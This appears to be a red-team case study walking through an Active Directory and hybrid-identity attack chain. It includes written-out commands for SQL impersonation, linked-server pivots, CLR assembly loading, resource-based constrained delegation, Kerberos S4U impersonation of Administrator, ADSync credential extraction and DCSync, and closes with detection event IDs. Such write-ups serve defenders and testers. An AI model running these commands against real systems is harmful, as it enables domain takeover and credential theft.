Overview

In mature enterprise environments, traditional payload-based lateral movement is high-risk. EDR solutions heavily monitor:

• Suspicious child processes
• LSASS access
• PowerShell abuse
• Service creation
• Remote execution tools

This case study demonstrates how a red team operator can pivot from a compromised low-privileged user to Domain Admin — and eventually hybrid identity dominance — using only:

• Native SQL functionality
• Kerberos delegation abuse
• Identity misconfiguration
• Cross-forest trust relationships
• Azure AD Connect exposure

No malware was dropped.
No credential dumping tools were executed.
No obvious exploit was used.

The entire chain abused trust and identity design.

Engagement Scenario

Environment:

• 1200-user enterprise
• corp.local forest
• dev.local forest (two-way trust)
• Azure AD hybrid synced via Azure AD Connect
• MSSQL cluster running ERP and reporting
• SQL service accounts are domain accounts
• Defender + logging enabled
• PowerShell script block logging active

Initial Access:

• Valid domain credentials of low-privileged user
• No local admin
• No DA privileges

Objective:

Achieve Domain Admin and assess hybrid identity exposure without deploying malware.

Phase 1: MSSQL Recon via Kerberos

Instead of password attacks, Kerberos authentication was used:

mssqlclient.py corp.local/[email protected] -k -no-pass

This:

• Uses existing TGT
• Avoids new authentication logs
• Blends into normal enterprise traffic

Enumerate SQL security context:

SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

User was not sysadmin — but had SQL login.

Phase 2: SQL Impersonation Escalation

Enumerate impersonation paths:

SELECT
sp.name AS Grantor,
dp.name AS Grantee
FROM sys.server_permissions perm
JOIN sys.server_principals sp
ON perm.grantor_principal_id = sp.principal_id
JOIN sys.server_principals dp
ON perm.grantee_principal_id = dp.principal_id
WHERE perm.permission_name = 'IMPERSONATE';

Result: Application login had IMPERSONATE rights over SQL service login.

Execute:

EXECUTE AS LOGIN = 'sqlsvc';
SELECT SYSTEM_USER;

Now operating as domain service account within SQL context. No Windows logon event generated.

Phase 3: Linked Server Multi-Hop Pivot

Enumerate linked servers:

EXEC sp_linkedservers;

Discovered:

• SQL02 (Reporting)
• SQLSYNC (Hybrid connector backend)

Enable RPC:

EXEC sp_serveroption 'SQL02','rpc out','true';

Remote execution:

EXEC ('SELECT SYSTEM_USER') AT SQL02;

Now we pivoted across database trust relationships without SMB or WMI.

This lateral movement stays entirely within SQL protocol.

Phase 4: Fileless SQL CLR Assembly Abuse

xp_cmdshell is monitored in mature environments. Instead, CLR was used.

Enable:

EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;

A custom in-memory .NET assembly was loaded as VARBINARY.

CREATE ASSEMBLY StealthAssembly
FROM 0x4D5A90...
WITH PERMISSION_SET = UNSAFE;

Procedure created:

CREATE PROCEDURE ExecPayload
AS EXTERNAL NAME StealthAssembly.[Namespace.Class].Method;

Execution:

EXEC ExecPayload;

Payload performed:

• Token context enumeration
• Kerberos ticket extraction
• Delegation checks

No process spawn. No PowerShell. Execution occurred within sqlservr.exe.

Most EDRs focus on suspicious child processes — not SQL CLR memory execution.

Phase 5: Delegation & Kerberos Analysis

LDAP enumeration revealed:

• SQL service account had constrained delegation
• Delegated to CIFS and MSSQL services
• MachineAccountQuota = 10

No weak passwords. No unconstrained delegation. So we chained identity abuse.

Phase 6: Resource-Based Constrained Delegation (RBCD)

Any domain user could create machine accounts.

Create new machine:

addcomputer.py corp.local/user:pass \
-computer-name SQLPIVOT$ \
-computer-pass Passw0rd!

Then write RBCD on target server:

rbcd.py corp.local/user:pass \
-action write \
-delegate-from SQLPIVOT$ \
-delegate-to FILESERVER$

Now SQLPIVOT$ can impersonate users to FILESERVER$.

Perform S4U:

getST.py corp.local/SQLPIVOT$ \
-spn cifs/fileserver.corp.local \
-impersonate Administrator

We now have Kerberos ticket for Administrator to FILESERVER. No password required. No memory dumping.

Phase 7: Cross-Forest Trust Pivot

corp.local and dev.localhad bidirectional trust.

Enumerate trust:

Get-ADTrust -Filter *

• SID filtering was improperly configured.
• Compromised account in corp.local had access to dev.local via delegation.
• Using S4U across trust boundary allowed service impersonation in dev.local.
• Now control extended beyond original forest.
• Few organizations monitor cross-forest S4U anomalies.

Phase 8: Azure AD Connect Pivot

SQLSYNC linked server revealed Azure AD Connect backend database.

Enumerate databases:

SELECT name FROM sys.databases;

Found:

• ADSync

Query configuration tables:

SELECT * FROM ADSync.dbo.mms_server_configuration;

Credentials stored for MSOL account.

After pivoting to Azure AD Connect server (via delegation abuse), extraction of MSOL account credentials allowed:

• Azure Global Admin access
• Role assignment manipulation
• Cloud account backdoor creation

Hybrid dominance achieved:

• On-Prem AD -> Azure AD -> Sync Loop Control

This is a modern red team objective.

Phase 9: Domain Replication Abuse

After privilege escalation through delegation:

secretsdump.py -just-dc corp.local/[email protected]

DCSync performed using replication privileges.

No interactive login. No RDP. No DC process injection. Pure directory replication protocol. Domain Admin achieved.

Complete Attack Chain

1. Low-priv domain user
2. Kerberos-auth MSSQL access
3. SQL impersonation
4. Linked server pivot
5. Fileless CLR execution
6. Delegation enumeration
7. Machine account creation
8. RBCD configuration
9. S4U Kerberos abuse
10. Cross-forest trust pivot
11. Azure AD Connect compromise
12. DCSync
13. Domain + Hybrid Admin

All without dropping malware.

Why This Works in Real Enterprises

SQL servers are:

• Highly trusted
• Often over-permissioned
• Frequently integrated with identity systems
• Connected to hybrid infrastructure

Most blue teams monitor endpoint exploitation — not identity trust chains.

This attack abuses:

• SQL trust
• Kerberos delegation
• Forest trusts
• Hybrid sync architecture

Identity is the perimeter.

Detection Considerations

Defenders must correlate:

• Event ID 5136 (RBCD modifications)
• Event ID 4769 anomalies (S4U patterns)
• Machine account creation spikes
• SQL CLR enablement
• Cross-forest TGS activity
• Azure AD Connect DB access anomalies
• Replication privilege misuse

Few SOC teams correlate these layers.

Closing Thoughts

This engagement demonstrates a shift in red team methodology:

• From exploitation-driven compromise to identity-driven compromise.
• No exploit. No malware. No obvious noise. Just architecture.1
• In modern enterprises, identity misconfiguration is often more powerful than any zero-day.